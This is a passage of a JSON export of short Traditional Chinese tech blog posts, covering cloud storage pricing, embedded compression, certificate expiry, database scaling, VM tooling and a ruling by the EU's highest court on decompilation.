之間的流量是不計頻寬費用的，所以等於是 VPS 到 R2 不計費，而 R2 到 VPS 也不計費，但要注意 VPS 自己也都有在推 object storage。\r\n\r\n像是 <a href=\"https://www.vultr.com/\">Vultr</a> 的 US$5 方案包括了 250GB 的空間與 1TB 的頻寬，扣掉頻寬的部份 (可以透過 Cloudflare 處理)，相當於是 US$0.02/GB。\r\n\r\n而 <a href=\"https://www.linode.com/\">Linode</a> 也類似，US$5 的方案包括了 250GB 的空間與 500GB 的頻寬，算出來也是 US$0.02/GB。\r\n\r\n而 <a href=\"https://www.backblaze.com/\">Backblaze</a> 也有類似的產品 <a href=\"https://www.backblaze.com/b2/cloud-storage.html\">B2</a>，US$0.005/GB/month 的儲存費用以及 $0.01/GB 的傳輸費用，但頻寬的部份也可以透過 Cloudflare 處理。\r\n\r\n這個產品出來以後可以再看看如何，但看起來是蠻有趣的。對目前的雲端商應該還好 (因為資料進 R2 還是有費用)，但對這些 VPS 來說應該是有蠻大的衝擊...",
    "title": "Cloudflare 推出 Cloudflare R2 Storage，相容於 S3 API，但沒有傳輸費用"
  },
  {
    "id": "10351",
    "body": "在「<a href=\"https://www.cnx-software.com/2021/09/29/heatshrink-an-ultra-lightweight-compression-library-for-embedded-systems/\">Heatshrink – An ultra-lightweight compression library for embedded systems</a>」這邊看到的演算法 <a href=\"https://github.com/atomicobject/heatshrink\">Hearshrink</a>，可以看到主打是在記憶體的用量受限的環境下壓縮。\r\n\r\n在 2013 年的資料就有壓縮率的比較了：「<a href=\"https://spin.atomicobject.com/2013/03/14/heatshrink-embedded-data-compression/\">heatshrink: An Embedded Data Compression Library</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/g8Yzy28.webp\" /><img src=\"https://i.gslin.com/imgur/g8Yzy28.png\" alt=\"\" /></picture>\r\n\r\n像是目前常被拿來使用的 <a href=\"https://en.wikipedia.org/wiki/ESP32\">ESP32</a> 就只有 320KB 記憶體，<a href=\"https://en.wikipedia.org/wiki/Gzip\">gzip</a> 就明顯太肥大了，HS 在這邊就可以犧牲壓縮率來換效能...\r\n\r\n另外找了一下資料，發現有 <a href=\"https://github.com/svaarala/lowzip\">lowzip</a> 這個東西，走 <a href=\"https://en.wikipedia.org/wiki/ZIP_(file_format)\">ZIP</a> 格式，記憶體用量也不高，不過軟體本身還掛 alpha：\r\n\r\n<blockquote>Current x64 code footprint (for lowzip.c, excluding the test program) is about 3.2kB and RAM footprint is about 1.1kB.</blockquote>\r\n\r\n如果之後打算要透過 <a href=\"https://en.wikipedia.org/wiki/Low-power_wide-area_network\">LPWAN</a> 之類的網路傳東西的話好像有可能會用到，先寫下來...",
    "title": "用在 IoT 裝置上的壓縮演算法 Heatshrink"
  },
  {
    "id": "10352",
    "body": "在 <a href=\"https://awsapichanges.info/\">AWS API Changes</a> 上看到這個修改：「<a href=\"https://awsapichanges.info/archive/changes/036818-elasticloadbalancing.html\">2021/09/27 - Elastic Load Balancing - 3 updated api methods</a>」。\r\n\r\n說明是這樣：\r\n\r\n<blockquote>Adds new ALB-type target group to facilitate forwarding traffic from NLB to ALB</blockquote>\r\n\r\n所以是 <a href=\"https://aws.amazon.com/elasticloadbalancing/network-load-balancer/\">NLB</a> 可以接到 <a href=\"https://aws.amazon.com/elasticloadbalancing/application-load-balancer/\">ALB</a> 嗎，這看起來讓彈性變大不少...",
    "title": "NLB 接 ALB？"
  },
  {
    "id": "10353",
    "body": "<a href=\"https://stackoverflow.com/\">StackOverflow</a> 今年愚人節的鍵盤真的開賣了：「<a href=\"https://stackoverflow.blog/2021/09/28/become-a-better-coder-with-this-one-weird-click/\">No joke—you can buy our copy/paste keyboard right now</a>」。\r\n\r\n愚人節的文章在「<a href=\"https://stackoverflow.blog/2021/03/31/the-key-copy-paste/\">Introducing The Key</a>」，這次開賣的網站是跟 <a href=\"https://drop.com/\">Drop</a> 合作：「<a href=\"https://drop.com/buy/stack-overflow-the-key-macropad\">Stack Overflow The Key Macropad | Mechanical Keyboards | Mini Mechanical Keyboards | Drop</a>」，可以看到是機械鍵盤，但要 US$29 一隻...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gycnldv.webp\" /><img src=\"https://i.gslin.com/imgur/gycnldv.png\" alt=\"\" /></picture>\r\n\r\n鍵盤是凱華 BOX 黑軸：\r\n\r\n<blockquote>They’re also outfitted with Kailh Box Black switches to deliver an ultra-smooth linear feel.</blockquote>\r\n\r\n然後可程式化定義 XDDD\r\n\r\n<blockquote>Fully programmable, these three keys can do much more than copy and paste. In fact, you can configure them to perform virtually any key command you want.</blockquote>\r\n\r\n不過想要的人也得注意一下，目前看到的 ship date 是年底了：\r\n\r\n<blockquote>Estimated ship date is Dec 13, 2021 PT.</blockquote>\r\n\r\n然後目前已經賣出 2.6k 件了？XDDD\r\n\r\n<blockquote>2.6k Sold</blockquote>",
    "title": "StackOverflow 開賣 Ctrl、C、V 的鍵盤"
  },
  {
    "id": "10354",
    "body": "先前提到 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 發出的憑證在 9/30 會產生問題，主因是 <a href=\"https://www.identrust.com/\">IdenTrust</a> 的 <a href=\"https://crt.sh/?id=8395\">DST Root CA X3</a> 會在 9/30 過期，交叉簽名加上 <a href=\"https://www.openssl.org/\">OpenSSL</a> 1.0.2 的判斷條件太嚴格導致的：「<a href=\"https://blog.gslin.org/archives/2021/09/16/10326/openssl-1-0-2-%e8%88%87-lets-encrypt-%e5%9c%a8%e9%80%99%e5%80%8b%e6%9c%88%e6%9c%88%e5%ba%95%e7%9a%84%e7%9b%b8%e5%ae%b9%e6%80%a7%e5%95%8f%e9%a1%8c/\">OpenSSL 1.0.2 與 Let's Encrypt 在這個月月底的相容性問題</a>」。\r\n\r\n本來以為是 UTC 的 2021/09/30 23:59:59 之類的時間，結果因為要面對這個問題，需要確認正確的時間，結果發現不是 UTC 的 2021/09/30 23:59:59，而是一個奇怪的時間：\r\n\r\n<pre>\r\nValidity\r\n    Not Before: Sep 30 21:12:19 2000 GMT\r\n    Not After : Sep 30 14:01:15 2021 GMT\r\n</pre>\r\n\r\n所以是 2021/09/30 22:01:15 (台灣時間) 會過期，今天晚上可以看一下情況...",
    "title": "DST Root CA X3 將在今天 22:01:15 過期"
  },
  {
    "id": "10357",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://code.visualstudio.com/\">VSCode</a> 改善了 bracket pair colorization 效率的文章，才想到我的 <a href=\"https://www.vim.org/\">Vim</a> 好像沒裝這個功能：「<a href=\"https://code.visualstudio.com/blogs/2021/09/29/bracket-pair-colorization\">Bracket pair colorization 10,000x faster</a>」。\r\n\r\nVSCode 這邊主要是引入了新的資料結構改善了計算量，有興趣的可以看一下：\r\n\r\n<blockquote>Efficient bracket pair colorization was a fun challenge. With the new data structures, we can also solve other problems related to bracket pairs more efficiently, such as general bracket matching or showing colored line scopes.</blockquote>\r\n\r\n我這邊則是去找 Vim 上的套件，目前看到是「<a href=\"https://github.com/luochen1990/rainbow\">Rainbow Parentheses Improved</a>」這個，裝起來拿 <a href=\"https://www.php.net/\">PHP</a> 程式碼看了一下還行，這樣就不用在那邊算哪個左括弧對應到右括弧...",
    "title": "用顏色區分程式碼裡面的括弧"
  },
  {
    "id": "10358",
    "body": "前幾天 <a href=\"https://github.com/\">GitHub</a> 有寫一篇文章提到他們的 <a href=\"https://dev.mysql.com/\">MySQL</a> 是怎麼 scale 的，另外裡面也有一些數字可以看：「<a href=\"https://github.blog/2021-09-27-partitioning-githubs-relational-databases-scale/\">Partitioning GitHub’s relational databases to handle scale</a>」。\r\n\r\n他們最主要的 database cluster 叫做 <code>mysql1</code>，裡面有提到 2019 年的時候這個 cluster 是 950K qps，其中 primary 有 50K qps：\r\n\r\n<blockquote>In 2019, mysql1 answered 950,000 queries/s on average, 900,000 queries/s on replicas, and 50,000 queries/s on the primary.</blockquote>\r\n\r\n在 2021 年的時候變成 1.125M qps，其中 75K qps 在 primary 上：\r\n\r\n<blockquote>Today, in 2021, the same database tables are spread across several clusters. In two years, they saw continued growth, accelerating year-over-year. All hosts of these clusters combined answer 1,200,000 queries/s on average (1,125,000 queries/s on replicas, 75,000 queries/s on the primaries). At the same time, the average load on each host halved.</blockquote>\r\n\r\n另外這幾年比較成熟的方案都拿出來用了，包括用 <a href=\"https://proxysql.com/\">ProxySQL</a> 降低連線數的壓力 (connection pool 的概念)：\r\n\r\n<blockquote>[W]e started using ProxySQL to reduce the number of connections opened against our primary MySQL instances.</blockquote>\r\n\r\n<blockquote>ProxySQL is used for multiplexing client connections to MySQL primaries.</blockquote>\r\n\r\n另外用 <a href=\"https://vitess.io/\">Vitess</a> 協助 sharding 之間的轉移：\r\n\r\n<blockquote>Vitess is a scaling layer on top of MySQL that helps with sharding needs. We use its vertical sharding feature to move sets of tables together in production without downtime.</blockquote>\r\n\r\n這兩套應該是已經蠻成熟的了... 另外也可以發現老方法還是很好用，就算在 GitHub 這種量還是可以暴力解決很多事情。",
    "title": "GitHub 的 MySQL 架構與數字"
  },
  {
    "id": "10359",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=28707317\">Cloudflare's Disruption (stratechery.com)</a>」這篇，文章「<a href=\"https://stratechery.com/2021/cloudflares-disruption/\">Cloudflare’s Disruption</a>」這篇其實還好，主要就是分析一下 Cloudflare R2 Storage 在下的棋，真的讓我想寫的是反而是 Hacker News 上的討論...\r\n\r\n首先是提到了 S3 -&gt; R2 -&gt; Q1 -&gt; P0 這個：\r\n\r\n<blockquote>ksec 36 minutes ago | unvote [–]\r\n\r\n^gt; The service will be called R2 — “one less than S3,” quipped Cloudflare CEO Matthew Prince in an interview with Protocol ahead of Cloudflare’s announcement\r\n\r\nOh I never thought of that. So the next one is Q1 and final one would be P0.</blockquote>\r\n\r\n另外下面有也提到 <a href=\"https://www.ibm.com/\">IBM</a> 與 <a href=\"https://en.wikipedia.org/wiki/HAL_9000\">HAL</a>：\r\n\r\n<blockquote>piaste 33 minutes ago | unvote [–]\r\n\r\nAnd it is likely inspired by the old joke that 2001: A Space Odyssey's HAL was one less than \"IBM\".</blockquote>\r\n\r\n下一個 Q1 是明年了，來看看 2022Q1 會不會有 P0 issue XDDD",
    "title": "Cloudflare R2 Storage 的插曲..."
  },
  {
    "id": "10360",
    "body": "<a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 總算是支援 2048 bits RSA key 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/09/amazon-ses-2048-bit-dkim/\">Amazon SES now supports 2048-bit DKIM keys</a>」。\r\n\r\n然後講一些幹話... 隔壁微軟早在 2019 年就支援 2048 bits RSA key 了：\r\n\r\n<blockquote>Until now, Amazon SES supported a DKIM key length of 1024-bit, which is the current industry standard.</blockquote>\r\n\r\n另外用 ECC 演算法的一直都沒進 standard，像是已經先 book 了 RFC 8463 位置的 <a href=\"https://en.wikipedia.org/wiki/Ed25519\">Ed25519</a>，在 draft 狀態放好久了：「<a href=\"https://datatracker.ietf.org/doc/html/rfc8463\">A New Cryptographic Signature Method for DomainKeys Identified Mail (DKIM)</a>」，還有用 <a href=\"https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm\">ECDSA</a> 的「<a href=\"https://datatracker.ietf.org/doc/html/draft-ietf-dcrup-dkim-ecc-01\">Defining Elliptic Curve Cryptography Algorithms for use with DKIM</a>」也是放著，不知道是卡到什麼東西，可能是專利？",
    "title": "Amazon SES 總算支援 2048 bits RSA key 了"
  },
  {
    "id": "10361",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.vultr.com/\">Vultr</a> 可以帶自己的 IP 使用：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">If you have your own IP space, we can provide Border Gateway Protocol (BGP) sessions. There is no additional cost for running BGP with Vultr.</p>&mdash; Vultr (@Vultr) <a href=\"https://twitter.com/Vultr/status/1443972743540662272?ref_src=twsrc%5Etfw\">October 1, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n翻了一下發現是 2015 年就提供的功能：「<a href=\"https://www.vultr.com/news/Announce-IP-Space-on-the-Cloud-with-Vultr/\">Announce IP Space on the Cloud with Vultr</a>」，而旁邊的 <a href=\"https://www.linode.com/\">Linode</a> 與 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 似乎都沒翻到...\r\n\r\n在文件「<a href=\"https://www.vultr.com/docs/configuring-bgp-on-vultr\">Configuring BGP on Vultr</a>」這邊可以看到需要先驗證 IP 是你的，算是業界常見的作法，跟當初申請 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/directconnect/\">Direct Connect</a> 類似的作法。",
    "title": "Vultr 可以帶自己的 IP 位置使用"
  },
  {
    "id": "10362",
    "body": "這陣子因為經常切回 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a> 打 <a href=\"https://en.wikipedia.org/wiki/Diablo_II:_Resurrected\">D2R</a>，發現 Windows 下的滾輪速度快多了，回到 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 下發現無法調整滑鼠滾輪的速度，找了一些方案測試，發現居然地雷還是超多 XD\r\n\r\n搜尋可以找到「<a href=\"https://askubuntu.com/questions/285689/increase-mouse-wheel-scroll-speed\">Increase mouse wheel scroll speed</a>」與「<a href=\"https://askubuntu.com/questions/22589/how-to-change-my-mouse-wheel-scroll-rate\">How to change my mouse wheel scroll rate?</a>」這兩篇，被推最多的都是 <a href=\"http://imwheel.sourceforge.net/\">imwheel</a>，但這套軟體的最新版是 2004 年，實際上用就會發現配合現代的系統 bug 很多...\r\n\r\n另外用的方案是「<a href=\"https://github.com/albertz/mouse-scroll-wheel-acceleration-userspace\">Mouse scroll wheel acceleration, implemented in user space</a>」，作者用 <a href=\"https://www.python.org/\">Python</a> 去控制加速，測了一下正常多了。範例給的 <code>./main.py -v --exp 1</code> 其中的 <code>--exp 1</code> 實際用起來有點太快，我改成 <code>0.75</code> 比較習慣。\r\n\r\n先照著作者提到的，把 dependency 都裝起來，接下來掛到 Session and Startup 裡面，在登入後跑起來就可以了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2vpKva2.webp\" /><img src=\"https://i.gslin.com/imgur/2vpKva2.png\" alt=\"\" /></picture>",
    "title": "Ubuntu 下的滑鼠滾輪速度"
  },
  {
    "id": "10363",
    "body": "在 <a href=\"https://www.pypy.org/\">PyPy</a> 這邊看到 <a href=\"https://en.wikipedia.org/wiki/Just-in-time_compilation\">JIT</a> 的重大進展：「<a href=\"https://www.pypy.org/posts/2021/09/jit-auto-generated-code.html\">Better JIT Support for Auto-Generated Python Code</a>」。\r\n\r\n他們在 <a href=\"https://www.tornadoweb.org/\">Tornado</a> 上重製出來效能問題，後面也都是用這個例子在測試：\r\n\r\n<blockquote>If you render a big HTML template (example) using the Tornado templating engine, the template rendering is really not any faster than CPython.</blockquote>\r\n\r\n看起來上的 workaround 是在撞到 trace limit 時標記起來，之後再遇到時就可以跳進 special mode，接著處理下去避免浪費掉之前處理過的 trace：\r\n\r\n<blockquote>After we have hit the trace limit and no inlining has happened so far, we mark the outermost function as a source of huge traces. The next time we trace such a function, we do so in a special mode. In that mode, hitting the trace limit behaves differently: Instead of stopping the tracer and throwing away the trace produced so far, we will use the unfinished trace to produce machine code.</blockquote>\r\n\r\n效能可以看到改善很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wtOuKX0.webp\" /><img src=\"https://i.gslin.com/imgur/wtOuKX0.png\" alt=\"\" /></picture>\r\n\r\n看起來這個概念有打算在 3.8 的時候放進去：\r\n\r\n<blockquote>The work described in this post tiny bit experimental still, but we will release it as part of the upcoming 3.8 beta release, to get some more experience with it. Please grab a 3.8 release candidate, try it out and let us know your observations, good and bad!</blockquote>\r\n\r\n<a href=\"https://www.djangoproject.com/\">Django</a> 的 template engine 不怎麼快，用 <a href=\"https://jinja2docs.readthedocs.io/\">Jinja2</a> 可能是一個方法，但既有的 project 如果有遇到 template engine 的效能問題，也許也可以翻看看 PyPy 解得如何...",
    "title": "PyPy JIT 的改善"
  },
  {
    "id": "10364",
    "body": "<a href=\"https://wasabi.com/\">Wasabi</a> 與 <a href=\"https://www.storj.io/how-it-works\">Storj</a> 是在看到「<a href=\"https://www.taloflow.ai/blog/will-cloudflare-r2-win-customers-from-amazon-s3\">Will Cloudflare R2 Win Customers from Amazon S3?</a>」這篇文章時翻到了三個 Cloud Storage Provider，文章本身我倒是沒什麼吸收...。\r\n\r\n第一個是 <a href=\"https://www.backblaze.com/\">Backblaze</a> 的 <a href=\"https://www.backblaze.com/b2/\">B2</a>，這個產品平常的曝光度就還算夠。\r\n\r\n另外是 Wasabi 的部份，其中一個賣點是免費的頻寬，但其實限制意外的多。首先是各地區的價錢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N6mauou.webp\" /><img src=\"https://i.gslin.com/imgur/N6mauou.png\" alt=\"\" /></picture>\r\n\r\n我找了一下到底是什麼地區，目前只有看到「<a href=\"https://status.wasabi.com/\">Wasabi Technologies Inc Status</a>」這邊有編號 (US-East-1、US-East-2、US-Central-1、US-West-1、EU-Central-1、AP-Northeast-1)，但也沒找到地區... US 的都在美國沒問題，AP-Northeast-1 應該是日本，但 EU-Central-1 是哪裡就找不到了。\r\n\r\n另外是 pay-as-you-go 的方案最小是 1TB，如果是歐美區的話是 US$5.99：\r\n\r\n<blockquote>For customers using the Wasabi pay-as-you-go pricing model, Wasabi has a minimum monthly charge associated with 1 TB of active storage. If you store less than 1 TB of active storage in your account, you will still be charged for 1 TB of storage based on the pricing associated with the storage region you are using.</blockquote>\r\n\r\n然後也有 90 天的最短計價時間：\r\n\r\n<blockquote>Wasabi has a minimum storage duration policy that means if stored objects are deleted before they have been stored with Wasabi for a certain number of days (90 days when using the Wasabi pay-go pricing model), a Timed Deleted Storage charge equal to the storage charge for the remaining days will apply.</blockquote>\r\n\r\n另外 Wasabi's free egress policy 這邊也可以看出來他們的設計就是拿來當 storage 用，然後前面需要擋 CDN 之類的服務。\r\n\r\n最後一個是 Storj 的 DCS，US$4/TB/month 的空間費用，與 US$7/TB 的流量費用感覺還算便宜？他的做法是把檔案拆成 80 份，然後取 29 份就可以算回來：\r\n\r\n<blockquote>How many Nodes are files stored on?\r\n\r\n80. We split each file into 80 different encrypted pieces, and each piece is stored on a different Node.</blockquote>\r\n\r\n<blockquote>When you retrieve an object, only 29 of its 80 pieces are needed to reconstitute that object. With no central point of failure, your data is always quickly available, all over the world.</blockquote>\r\n\r\n這部份是則是透過 <a href=\"https://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction\">Reed-Solomon error correction</a> 實做：\r\n\r\n<blockquote>Automate file repair and know that Reed-Solomon erasure coding enables the highest levels of durability for all files uploaded to Storj DCS.</blockquote>\r\n\r\n好一陣子沒看到 Reed-Solomon 了，沒想到在這邊看到... 先不管技術的部份，看起來 Storj DCS 的價錢可以玩看看。",
    "title": "Wasabi 與 Storj DCS"
  },
  {
    "id": "10366",
    "body": "前陣子看到「<a href=\"https://axisofordinary.substack.com/p/the-most-counterintuitive-facts-in\">The most counterintuitive facts in all of mathematics, computer science, and physics</a>」這篇，講各種反直覺的項目，有空的時候拉一兩個來讀還蠻有趣的...\r\n\r\n第一個提到的是 <a href=\"https://en.wikipedia.org/wiki/Homomorphic_encryption\">Homomorphic encryption</a>。在密碼學的保護概念中，密文是不能被操作的，但我們可以透過重新設計密碼學系統，讓密文可以被運算：\r\n\r\n<blockquote>1. It is possible to compute over encrypted data without access to the secret key: https://en.wikipedia.org/wiki/Homomorphic_encryption</blockquote>\r\n\r\n2009 年的時候第一個 FHE (fully homomorphic encryption) 演算法被提出來後就被大量討論，這代表你可以把資料加密後丟上雲端，利用雲端的大量運算資源運算完後，再把資料拉回地端解密，得到運算後的結果。這算是 <a href=\"https://en.wikipedia.org/wiki/Lattice-based_cryptography\">Lattice-based cryptography</a> 的一個很重大的應用。\r\n\r\n其他的主題也蠻有趣的，先丟著找機會翻...",
    "title": "各種反直覺的項目"
  },
  {
    "id": "10367",
    "body": "<a href=\"https://openjsf.org/\">OpenJS Foundation</a> (先前的 jQuery Foundation) 宣佈 <a href=\"https://jqueryui.com/\">jQuery UI</a> 與 <a href=\"https://jquerymobile.com/\">jQuery Mobile</a> 進入維護模式：「<a href=\"https://openjsf.org/blog/2021/10/07/jquery-maintainers-update-and-transition-jquery-ui/\">jQuery maintainers update and transition jQuery UI as part of overall modernization efforts</a>」、「<a href=\"https://openjsf.org/blog/2021/10/07/deprecation-of-jquery-mobile/\">jQuery maintainers continue modernization initiative with deprecation of jQuery Mobile</a>」。\r\n\r\n<blockquote>jQuery UI is in maintenance-only mode. Users should not expect any new releases, though patches may be issued to resolve critical security, interoperability, or regression bugs.</blockquote>\r\n\r\n<blockquote>The team announced that the cross-platform jQuery Mobile project under its umbrella is fully deprecated as of October 7, 2021.</blockquote>\r\n\r\n應該就是沒有足夠的動能繼續開發了，維持個窗口在有 security issue 時處理...",
    "title": "jQuery UI 與 jQuery Mobile 進入維護模式"
  },
  {
    "id": "10369",
    "body": "因為 <a href=\"https://en.wikipedia.org/wiki/Diablo_II%3A_Resurrected\">Diablo II: Resurrected</a> 的關係跑回來用 <a href=\"https://en.wikipedia.org/wiki/Windows_10\">Windows 10</a>，裝完 OS 後可以透過 GUI 關掉一堆隱私設定沒錯，但感覺應該是有人整理出來更方便的方法...\r\n\r\n在「<a href=\"https://github.com/TemporalAgent7/awesome-windows-privacy\">Awesome Windows privacy</a>」這邊看到有工具可以做到，目前用的是「<a href=\"https://github.com/aghorler/Windows-10-Hardening\">Windows-10-Hardening</a>」這組，把 script 抓下來後用管理權限跑一次，接著重開機就好了...\r\n\r\n看起來沒什麼大問題，之後應該都會在重灌後拿來用...",
    "title": "裝完 Windows 後馬上跑的設定：關掉一堆侵犯隱私的設定"
  },
  {
    "id": "10370",
    "body": "在「<a href=\"https://www.mersenne.org/\">Great Internet Mersenne Prime Search - PrimeNet</a>」這邊看到 GIMPS 確認了 [latex]M_{57885161}[/latex] (也就是 [latex]2^{57885161}-1[/latex]) 是第 48 個梅森質數：\r\n\r\n<blockquote>All tests smaller than the 48th Mersenne Prime, M(57885161), have been verified</blockquote>\r\n\r\n第 47 個梅森質數是 [latex]M_{43112609}[/latex]，但一直都沒有確認完到 [latex]M_{57885161}[/latex] 中間是否還有梅森質數，這次宣佈全部都算完，而且雙重確認過，所以可以確認第 48 個梅森質數。\r\n\r\n下一個要確認的是第 49 個梅森質數，目前已知的下一個是 [latex]M_{74207281}[/latex]，也就是要看到 [latex]M_{74207281}[/latex] 中間是否還有其他的梅森質數...",
    "title": "第 48 個梅森質數確認"
  },
  {
    "id": "10371",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=28808289\">Gmail password first character is case insensitive on mobile device (support.google.com)</a>」這篇，在講密碼輸入上的 UX。\r\n\r\n在 Hacker News 上的討論看到這則：\r\n\r\n<blockquote>This is a well-understood feature. Facebook does the same thing[0]. \r\n\r\nQuote:\r\n\r\nFacebook actually accepts three forms of your password:\r\n\r\n* Your original password.\r\n\r\n* Your original password with the first letter capitalized. This is only for mobile devices, which sometimes capitalize the first character of a word.\r\n\r\n* Your original password with the case reversed, for those with a caps lock key on.\r\n\r\n[0]: https://www.zdnet.com/article/facebook-passwords-are-not-case-sensitive-update/</blockquote>\r\n\r\n接受三種密碼，第一種是完全正確的密碼，第二種是第一個字如果是大寫時的密碼 (在行動裝置上可能的行為)，第三種是大小寫全部相反的密碼，這在沒注意到 caps lock 時會發生。\r\n\r\n強度不會削弱太多，但對於 user experience 好很多的設計。",
    "title": "密碼輸入上的 UX"
  },
  {
    "id": "10372",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的工具：「<a href=\"https://github.com/wimpysworld/quickemu\">Quickly create and run optimised Windows, macOS and Linux desktop virtual machines.</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=28797129\">Quickemu: Quickly create and run optimised Win-10,11/macOS/Linux on Linux (github.com/wimpysworld)</a>」這邊可以看到，可以減少自己要設定一堆 <a href=\"https://www.qemu.org/\">QEMU</a> 參數。\r\n\r\n雖然專案是支援多系統，但其實 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Microsoft Windows</a> 與 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 的部份在其他虛擬軟體都很簡單 (像是用 <a href=\"https://www.virtualbox.org/\">VirtaulBox</a>)，大家馬上會注意到的重點還是 <a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 的部份，如果有自己弄過就會知道這東西有夠難裝的，而且跨版本有不同的安裝方式...\r\n\r\n目前 Quickemu 支援四個版本：\r\n\r\n<blockquote>Supported macOS releases:\r\n\r\n<ul>\r\n\t<li>High Sierra</li>\r\n\t<li>Mojave</li>\r\n\t<li>Catalina (<strong>Recommended</strong>)</li>\r\n\t<li>Big Sur</li>\r\n</ul></blockquote>\r\n\r\n然後可以看到幾乎所有目前能支援的功能都有設定上去了，包括 VirtIO 與 USB 的部份。\r\n\r\n然後一些經典的問題，像是 Big Sur 的音源問題還是沒解：\r\n\r\n<blockquote>Full Duplex audio works on macOS High Sierra, Mojave and Catalina.\r\n\r\n<ul>\r\n\t<li>macOS Big Sur has no audio at all.</li>\r\n</ul></blockquote>\r\n\r\n在 Hacker News 的討論串裡面有提到有很多地方沒有檢查，這會是風險：\r\n\r\n<blockquote>While I appreciate the effort, and the code is very readable. I just want to give a friendly warning that these shell scripts just download random stuff from the internet and run this random stuff without checking any integrity/signature.</blockquote>\r\n\r\n下面的討論另外看到個冷知識，關於蘋果故意走 HTTP 下載 recovery image 是因為 HTTPS 太複雜，在 UEFI firmware 裡面實做容易產生被攻擊的點，所以決定自己透過其他機制確認正確性：\r\n\r\n<blockquote>Apple Internet recoveryOS images are served over plain http, on purpose. The macrecovery.py script used by Quickemu uses http¹, though the server supports https.\r\n\r\n<a href=\"https://support.apple.com/guide/security/recoveryos-and-diagnostics-environments-sec2512a0c09/web\">https://support.apple.com/guide/security/recoveryos-and-diagnostics-environments-sec2512a0c09/web</a>\r\n\r\n&gt; <em>When the internet recovery and diagnostic modes were added to Mac computers in 2011, it was decided that it would be better to use the simpler HTTP transport, and handle content authentication using the chunklist mechanism, rather than implement the more complicated HTTPS functionality in the UEFI firmware, and thus increase the firmwareʼs attack surface.</em>\r\n\r\n¹<a href=\"https://github.com/acidanthera/OpenCorePkg/blob/4a740c3f256e285c66ca3b65e42b60af6826d343/Utilities/macrecovery/macrecovery.py#L123\">https://github.com/acidanthera/OpenCorePkg/blob/4a740c3f256e285c66ca3b65e42b60af6826d343/Utilities/macrecovery/macrecovery.py#L123</a>\r\n\r\n<em>[edit] Added macrecovery.py info</em></blockquote>\r\n\r\n另外為了避免直接在 shell script 裡面出現「神秘字串」，可以看到特別的寫法 XDDD\r\n\r\n<blockquote>Took a little while to find the magic words in there: https://github.com/wimpysworld/quickemu/blob/af26f41440d63a069045660fad860c797011310a/quickemu#L351\r\n</blockquote>\r\n\r\n可以想到一些用途，像是在機房裡面跑 CI 的 worker，但要注意這個搞法不符合蘋果的 <a href=\"https://en.wikipedia.org/wiki/End-user_license_agreement\">EULA</a>，現在不抓不代表以後也不會有事，請自己謹慎評估...\r\n\r\n然後往 ARM-based 架構後應該門檻就更高了，現在還有 Intel-based 的環境可以用加減用...",
    "title": "在 Linux (Ubuntu) 上跑透過 QEMU 跑 Windows/Mac/Linux 的工具"
  },
  {
    "id": "10373",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上翻到的，歐洲法院認為 <a href=\"https://en.wikipedia.org/wiki/End-user_license_agreement\">EULA</a> 不能禁止使用者 decompile 修 bug：「<a href=\"https://news.ycombinator.com/item?id=28809559\">EU court rules no EULA can forbid decompilation, if you want to fix a bug (europa.eu)</a>」，官方的英文版文件在<a href=\"https://curia.europa.eu/juris/document/document.jsf?text=&amp;docid=247056&amp;pageIndex=0&amp;doclang=en&amp;mode=req&amp;dir=&amp;occ=first&amp;part=1&amp;cid=6413406\">這邊</a>可以翻到，不過原始判決是法文：\r\n\r\n<blockquote>* Language of the case: French.</blockquote>\r\n\r\n這是 Top System SA 與比利時政府打的訴訟，法院認為修 bug 而需要 decompile 這件事情是合法的，即使考慮到 Article 6 的規範：\r\n\r\n<blockquote>In the light of the foregoing considerations, the answer to the first question referred is that Article 5(1) of Directive 91/250 must be interpreted as meaning that the lawful purchaser of a computer program is entitled to decompile all or part of that program in order to correct errors affecting its operation, including where the correction consists in disabling a function that is affecting the proper operation of the application of which that program forms a part.</blockquote>\r\n\r\n<blockquote>In the light of the foregoing considerations, the answer to the second question referred is that Article 5(1) of Directive 91/250 must be interpreted as meaning that the lawful purchaser of a computer program who wishes to decompile that program in order to correct errors affecting the operation thereof is not required to satisfy the requirements laid down in Article 6 of that directive. However, that purchaser is entitled to carry out such a decompilation only to the extent necessary to effect that correction and in compliance, where appropriate, with the conditions laid down in the contract with the holder of the copyright in that program.</blockquote>\r\n\r\n案子看起來應該還有得打？看起來好像不是最終判決...\r\n\r\n<blockquote>REQUEST for a preliminary ruling under Article 267 TFEU from the Cour d’appel de Bruxelles (Court of Appeal, Brussels, Belgium), made by decision of 20 December 